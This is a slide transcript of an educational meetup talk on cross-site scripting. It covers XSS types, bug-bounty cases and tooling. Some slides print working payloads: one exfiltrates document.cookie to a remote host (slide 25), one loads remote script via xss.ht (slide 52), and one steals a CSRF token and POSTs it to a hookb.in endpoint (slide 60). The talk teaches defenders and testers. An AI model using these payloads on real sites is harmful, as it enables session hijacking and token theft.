XSS Basics

This talk will cover the fundamentals of Cross-Site Scripting (XSS). Topics will include the source of these bugs, as well as types of XSS vulnerabilities and how they can be exploited in the wild. The purpose of the talk is to show additional real impacts of XSS attacks and what tools can be used for the attack chain to generate higher impacts.

https://www.meetup.com/div0_sg/events/266333222/

Transcript

1. < I M G S R C = " J AVA S C R I P T: A L E R T ( ' X S S B A S I C S @ D I V 0 N O V M E E T U P ' ) ; " > X S S B A S I C S D I V I S O N Z E R O ( D I V 0 ) M E E T U P, 2 7 T H N O V ‘ 1 9 S E B A S T I A N W I E S E L E R H E A D O F S E C U R I T Y S E B A S T I A N . W I E S E L E R @ B I G PAY M E . C O M
2. D I S C L A I M E R C E H : C E RT I F I E D E T H I C A L H A C K E R V E R S I O N 8 S T U D Y G U I D E As an ethical hacker you should never target a system or network that you do not own or have permission to test
3. D I S C L A I M E R
4. A G E N D A
5. I N T R O D U C T I O N
6. I N T R O D U C T I O N $ cat /home/sebastian/introduction • 2009 - 2012: Studying with Deutsche Telekom and supporting businesses with consultancy in network environments • 2012 - 2015: Supporting the internal SOC of Deutsche Telekom • 2015 - 2019 : MyRepublic journey • Now: BigPay - Challenge Banking
7. X S S B A S I C S
8. D E S C R I P T I O N H T T P S : / / W W W. O WA S P. O R G / I N D E X . P H P / C R O S S - S I T E _ S C R I P T I N G _ ( X S S ) Cross-Site Scripting (XSS) attacks occur when: Data enters a Web application through an untrusted source,
 most frequently a web request. The data is included in dynamic content that is sent to a web user without being validated for malicious content.
9. S T O R E D X S S H T T P S : / / W W W. O WA S P. O R G / I N D E X . P H P / C R O S S - S I T E _ S C R I P T I N G _ ( X S S ) Stored attacks are those where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc
10. S T O R E D X S S H T T P S : / / W W W. I M P E R VA . C O M / L E A R N / A P P L I C AT I O N - S E C U R I T Y / C R O S S - S I T E - S C R I P T I N G - X S S - AT TA C K S /
11. R E F L E C T E D X S S H T T P S : / / W W W. O WA S P. O R G / I N D E X . P H P / C R O S S - S I T E _ S C R I P T I N G _ ( X S S ) Reflected attacks are those where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request. Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website.
12. R E F L E C T E D X S S H T T P S : / / W W W. C L O U D F L A R E . C O M / L E A R N I N G / S E C U R I T Y / T H R E AT S / C R O S S - S I T E - S C R I P T I N G /
13. D O M B A S E D X S S H T T P S : / / W W W. O WA S P. O R G / I N D E X . P H P / D O M _ B A S E D _ X S S The attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment. S E E O C T M E E T U P D I V 0
14. S E L F X S S H T T P S : / / E N . W I K I P E D I A . O R G / W I K I / S E L F - X S S Self-XSS operates by tricking users into copying and pasting malicious content into their browsers' web developer console. Usually, the attacker posts a message that says by copying and running certain code, the user will be able to hack another user's account. In fact, the code allows the attacker to hijack the victim's account.
15. S E L F X S S H T T P S : / / W W W. N E T S PA R K E R . C O M / B L O G / W E B - S E C U R I T Y / T R A N S F O R M I N G - S E L F - X S S - I N T O - E X P L O I TA B L E - X S S /
16. X S S E X A M P L E S PA R T 1
17. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T >
18. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T >
19. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T >
20. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T >
21. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T >
22. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T > I M PA C T ?
23. < S C R I P T > A L E R T ( 1 ) ; < / S C R I P T > H T T P S : / / S I T E S . G O O G L E . C O M / S I T E / B U G H U N T E R U N I V E R S I T Y / I M P R O V E / A L E RT- 1 - C O N S I D E R E D - H A R M F U L
24. < S C R I P T > A L E R T ( D O C U M E N T. D O M A I N ) ; < / S C R I P T > H T T P S : / / C X S E C U R I T Y. C O M / I S S U E / W L B - 2 0 1 6 0 8 0 1 5 9
25. < S C R I P T > A L E R T ( D O C U M E N T. C O O K I E ) ; < / S C R I P T > H T T P S : / / P E N T E S T- T O O L S . C O M / B L O G / X S S - AT TA C K S - P R A C T I C A L - S C E N A R I O S / < S C R I P T > N E W I M A G E ( ) . S R C = “ H T T P : / / 1 9 2 . 1 6 8 . 1 4 9 . 1 2 8 / B O G U S . P H P ? O U T P U T = " + D O C U M E N T. C O O K I E ; < / S C R I P T >
26. X S S E X A M P L E S PA R T 2
27. S E L F X S S ( O U T O F S C O P E ) H T T P S : / / C H R I S - Y O U N G . N E T / 2 0 1 9 / 0 6 / 2 0 / R E F L E C T E D - X S S - B U G - B O U N T Y- E X P E R I E N C E /
28. S E L F X S S ( O U T O F S C O P E ) H T T P S : / / C H R I S - Y O U N G . N E T / 2 0 1 9 / 0 6 / 2 0 / R E F L E C T E D - X S S - B U G - B O U N T Y- E X P E R I E N C E /
29. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 3 9 1 3 9 0
30. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 3 9 1 3 9 0 1 - C R E AT E S T O R E 2 - A D D A M E M B E R T O A S T O R E 3 - M E M B E R C A N C H O O S E A N Y N A M E 4 - S O C H A N G E T O H U N T E R " > < S V G / O N L O A D = A L E RT ( 2 ) > 5 - N O W A N A D M I N A C C O U N T M A K E S C H A N G E S 6 - T H AT W I L L T R I G G E R M A L I C I O U S PAY L O A D
31. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 3 9 1 3 9 0
32. S T O R E D X S S H T T P S : / / W W W. FA C E B O O K . C O M / N O T E S / M R I T Y U N J O Y- E M U / YA H O O - M A I L - B O X - S T O R E D - X S S - W R I T E - U P B O U N T Y-
33. S T O R E D X S S H T T P S : / / W W W. FA C E B O O K . C O M / N O T E S / M R I T Y U N J O Y- E M U / YA H O O - M A I L - B O X - S T O R E D - X S S - W R I T E - U P B O U N T Y-
34. S T O R E D X S S H T T P S : / / W W W. FA C E B O O K . C O M / N O T E S / M R I T Y U N J O Y- E M U / YA H O O - M A I L - B O X - S T O R E D - X S S - W R I T E - U P B O U N T Y-
35. S T O R E D X S S H T T P S : / / W W W. FA C E B O O K . C O M / N O T E S / M R I T Y U N J O Y- E M U / YA H O O - M A I L - B O X - S T O R E D - X S S - W R I T E - U P B O U N T Y-
36. R E F L E C T E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 4 3 8 2 4 0
37. R E F L E C T E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 4 3 8 2 4 0 1 - O P E N T H E U R L : H T T P S : / / W W W. S TA R B U C K S . C O M / A C C O U N T / S I G N I N ? R E T U R N U R L = % 1 9 J AV % 0 9 A S C % 0 9 R I P T % 3 A H T T P S % 2 0 % 3 A % 2 F % 2 F W W W % 2 E S TA R B U C K S % 2 E C O M % 2 F % 2 5 0 A A L E RT % 2 5 2 8 D O C U M E N T. D O M A I N % 2 5 2 9 
 2 - L O G I N 3 - T H E J S W I L L E X E C U T E O N U S E R S ( V I C T I M S ) A C C O U N T.
38. R E F L E C T E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 4 3 8 2 4 0
39. С O O K I E - B A S E D X S S H T T P S : / / M E D I U M . C O M / @ I S E C M A X / С O O K I E - B A S E D - X S S - E X P L O I TAT I O N - 2 3 0 0 - B U G - B O U N T Y- S T O RY- 9 B C 5 3 2 F FA 5 6 4
40. B L I N D X S S H T T P S : / / M E D I U M . C O M / B U G B O U N T Y W R I T E U P / B L I N D - X S S - F O R - B E G I N N E R S - C 8 8 E 4 8 0 8 3 0 7 1 It is a type of stored XSS where attackers input is saved by server and is reflected in a totally different application used by system admin/team member.
41. B L I N D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 3 1 4 1 2 6
42. B L I N D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 3 1 4 1 2 6
43. B L I N D X S S H T T P S : / / T W I T T E R . C O M / S E C U R I N T I / S TAT U S / 9 0 8 3 4 8 4 0 5 6 5 0 5 2 2 1 1 3
44. X S S T O O L S E T
45. X S S H U N T E R H T T P S : / / X S S H U N T E R . C O M / A P P
46. X S S H U N T E R H T T P S : / / X S S H U N T E R . C O M / A P P
47. S I M I L A R T O O L S H T T P S : / / M E D I U M . C O M / B U G B O U N T Y W R I T E U P / B L I N D - X S S - F O R - B E G I N N E R S - C 8 8 E 4 8 0 8 3 0 7 1 • ezXSS (has 2FA, email reports, share reports feature) • bXSS (has slack/sms notification feature) • KNOXSS (has email feature)
48. X S P E A R : P O W E R F U L X S S S C A N N E R H T T P S : / / W W W. C Y B E R P U N K . R S / X S P E A R - P O W E R F U L - X S S - S C A N N E R
49. X S P E A R : P O W E R F U L X S S S C A N N E R H T T P S : / / W W W. C Y B E R P U N K . R S / X S P E A R - P O W E R F U L - X S S - S C A N N E R
50. X S S E X A M P L E S PA R T 3
51. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9 1 - U N S A N I T I Z E D W E B U P L O A D
52. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9 < H T M L > < B O D Y > < S C R I P T S R C = H T T P S : / / A B C . X S S . H T > < / S C R I P T > < S C R I P T > F U N C T I O N B ( ) { E VA L ( T H I S . R E S P O N S E T E X T ) } ; A = N E W X M L H T T P R E Q U E S T ( ) ; A . A D D E V E N T L I S T E N E R ( " L O A D " , B ) ; A . O P E N ( " G E T " , " / / A B C . X S S . H T " ) ; A . S E N D ( ) ; < / S C R I P T > < S C R I P T > $ . G E T S C R I P T ( “ / / A B C . X S S . H T " ) < / S C R I P T > < / B O D Y > < / H T M L >
53. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9
54. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9
55. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9
56. G A M E P L A N H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9 1 - S T O R E X S S 2 - G E T V I C T I M T O A C C E S S T H E F I L E 3 - R E Q U E S T PA G E W I T H 
 C S R F T O K E N 4 - S E N D C S R F T O K E N T O AT TA C K E R
57. X M L H T T P R E Q U E S T H T T P S : / / D E V E L O P E R . M O Z I L L A . O R G / E N - U S / D O C S / W E B / A P I / X M L H T T P R E Q U E S T
58. X M L H T T P R E Q U E S T H T T P S : / / D E V E L O P E R . M O Z I L L A . O R G / E N - U S / D O C S / W E B / H T T P / C O R S
59. H O O K B I N H T T P S : / / H O O K B I N . C O M
60. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9 <html><body> <script> window.onload = function(){ var xhr = new XMLHttpRequest(); xhr.open("GET", "/", false); xhr.withCredentials=false; xhr.send(null); var token = xhr.responseText; xhr.open('POST', 'https://hookb.in/6JXXXXX', true); xhr.send(token); } </script> </body></html>
61. S T O R E D X S S H T T P S : / / H A C K E R O N E . C O M / R E P O RT S / 7 1 1 2 6 9
62. PAY L O A D S
63. H T T P : / / W W W. X S S - PAY L O A D S . C O M
64. H T T P S : / / G I T H U B . C O M / S W I S S K Y R E P O / PAY L O A D S A L LT H E T H I N G S / T R E E / M A S T E R / X S S % 2 0 I N J E C T I O N
65. H T T P S : / / W W W. O WA S P. O R G / I N D E X . P H P / X S S _ F I LT E R _ E VA S I O N _ C H E AT _ S H E E T
66. # B U G B O U N T Y T I P
67. # B U G B O U N T Y T I P H T T P S : / / T W I T T E R . C O M / B R U T E L O G I C / S TAT U S / 1 1 5 0 0 4 9 9 7 8 5 0 6 7 8 0 6 7 3
68. # B U G B O U N T Y T I P H T T P S : / / T W I T T E R . C O M / N N WA K E L A M / S TAT U S / 1 1 7 9 0 5 2 7 9 8 9 6 2 3 2 3 4 5 7 ? S = 1 2
69. # B U G B O U N T Y T I P H T T P S : / / T W I T T E R . C O M / A K I TA _ Z E N / S TAT U S / 1 0 3 5 2 3 7 5 4 2 2 3 9 5 8 4 2 5 6
70. D I V I S I O N Z E R O ( D I V 0 ) : M E E T U P 2 7 T H N O V Q & A S E B A S T I A N W I E S E L E R T W I T T E R . C O M / K I C K I N O